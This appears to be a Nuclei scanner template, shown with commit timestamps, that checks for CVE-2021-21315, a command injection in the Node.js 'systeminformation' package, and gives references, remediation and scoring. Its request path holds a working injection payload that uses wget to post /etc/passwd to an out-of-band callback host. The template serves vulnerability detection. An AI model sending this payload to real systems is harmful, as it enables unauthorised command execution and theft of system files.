2021-03-02 11:02:08 +00:00
id : CVE-2021-21315
info :
2022-06-27 17:06:05 +00:00
name : Node.JS System Information Library <5.3.1 - Remote Command Injection
2021-03-02 11:02:08 +00:00
author : pikpikcu
severity : high
2022-06-27 17:06:05 +00:00
description : Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.
2021-08-18 11:37:49 +00:00
reference :
2021-03-24 06:48:11 +00:00
- https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
- https://security.netapp.com/advisory/ntap-20210312-0007/
2022-05-17 09:18:12 +00:00
- https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
- https://www.npmjs.com/package/systeminformation
2022-06-27 17:06:05 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21315
2022-06-28 03:37:20 +00:00
remediation : Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 7.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-21315
cwe-id : CWE-78
2023-04-12 10:55:48 +00:00
epss-score : 0.96464
2022-07-21 17:18:22 +00:00
tags : nodejs,cve,cve2021,kev
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2021-03-02 11:02:08 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-02 11:02:08 +00:00
- method : GET
path :
2022-03-21 20:16:15 +00:00
- "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"
2021-03-02 11:02:08 +00:00
matchers-condition : and
matchers :
- type : word
2022-06-28 02:57:07 +00:00
part : body
2021-03-02 11:02:08 +00:00
words :
2022-03-21 20:16:15 +00:00
- "wget --post-file /etc/passwd {{interactsh-url}}"
2021-03-04 14:55:34 +00:00
- name
- running
- pids
2021-03-02 11:02:08 +00:00
condition : and
2022-06-28 02:57:07 +00:00
- type : word
part : header
words :
- "application/json"
2021-03-02 11:02:08 +00:00
- type : status
status :
- 200
2022-06-27 17:06:05 +00:00
# Enhanced by mp on 2022/06/27